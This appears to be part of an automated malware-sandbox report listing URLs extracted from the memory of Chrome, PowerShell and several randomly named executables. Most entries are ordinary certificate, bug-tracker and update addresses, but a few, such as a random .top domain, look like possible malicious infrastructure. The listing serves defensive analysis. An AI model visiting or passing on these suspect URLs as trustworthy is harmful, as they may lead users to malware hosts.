Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_
Source: 73aaed44cf.exe, 00000031.00000003.2840921289.00000000033F8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2857764043.0000000007940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 0000003A.00000002.2915587458.00000000083D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: svchost.exe, 00000035.00000002.3100500790.00000120EC4B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC67D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: d59846009d.exe, 00000033.00000002.2997822774.000000000270A000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.2997822774.000000000271C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: d59846009d.exe, 00000033.00000002.2997822774.000000000270A000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.2997822774.000000000271C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.comd
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000032.00000003.2820870309.00000AD003258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821217749.00000AD00317C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821722179.00000AD003274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820709809.00000AD003148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: 01d781eb0f.exe, 00000007.00000002.2418707668.0000000000409000.00000002.00000001.01000000.0000000A.sdmp, 01d781eb0f.exe, 00000007.00000000.2408637102.0000000000409000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000037.00000002.2853405452.0000000005DB5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2894630097.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0
Source: powershell.exe, 0000003A.00000002.2889069926.00000000049A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: chrome.exe, 00000032.00000003.2822979654.00000AD0032D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822225499.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820870309.00000AD003258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821217749.00000AD00317C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820925023.00000AD0032A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822095699.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822671160.00000AD0025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821722179.00000AD003274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820709809.00000AD003148000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822168785.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822293464.00000AD0031C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000032.00000003.2822979654.00000AD0032D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822225499.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820870309.00000AD003258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821217749.00000AD00317C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820925023.00000AD0032A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822095699.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822671160.00000AD0025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821722179.00000AD003274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820709809.00000AD003148000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822168785.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822293464.00000AD0031C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000032.00000003.2822979654.00000AD0032D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822225499.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820870309.00000AD003258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821217749.00000AD00317C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820925023.00000AD0032A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822095699.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822671160.00000AD0025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821722179.00000AD003274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820709809.00000AD003148000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822168785.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822293464.00000AD0031C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000032.00000003.2822979654.00000AD0032D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822225499.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820870309.00000AD003258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821217749.00000AD00317C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820925023.00000AD0032A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822095699.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822671160.00000AD0025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821722179.00000AD003274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820709809.00000AD003148000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822168785.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822293464.00000AD0031C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: d59846009d.exe, 00000033.00000002.2997822774.00000000027A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: d59846009d.exe, 00000033.00000002.2997822774.00000000027A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.comd
Source: powershell.exe, 00000037.00000002.2847065209.0000000004EA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2889069926.00000000049A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: d59846009d.exe, 00000033.00000002.2997822774.0000000002661000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2847065209.0000000004D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2889069926.0000000004851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000037.00000002.2847065209.0000000004EA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2889069926.00000000049A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: d208a35154.exe, 00000014.00000000.2530313742.0000000000423000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
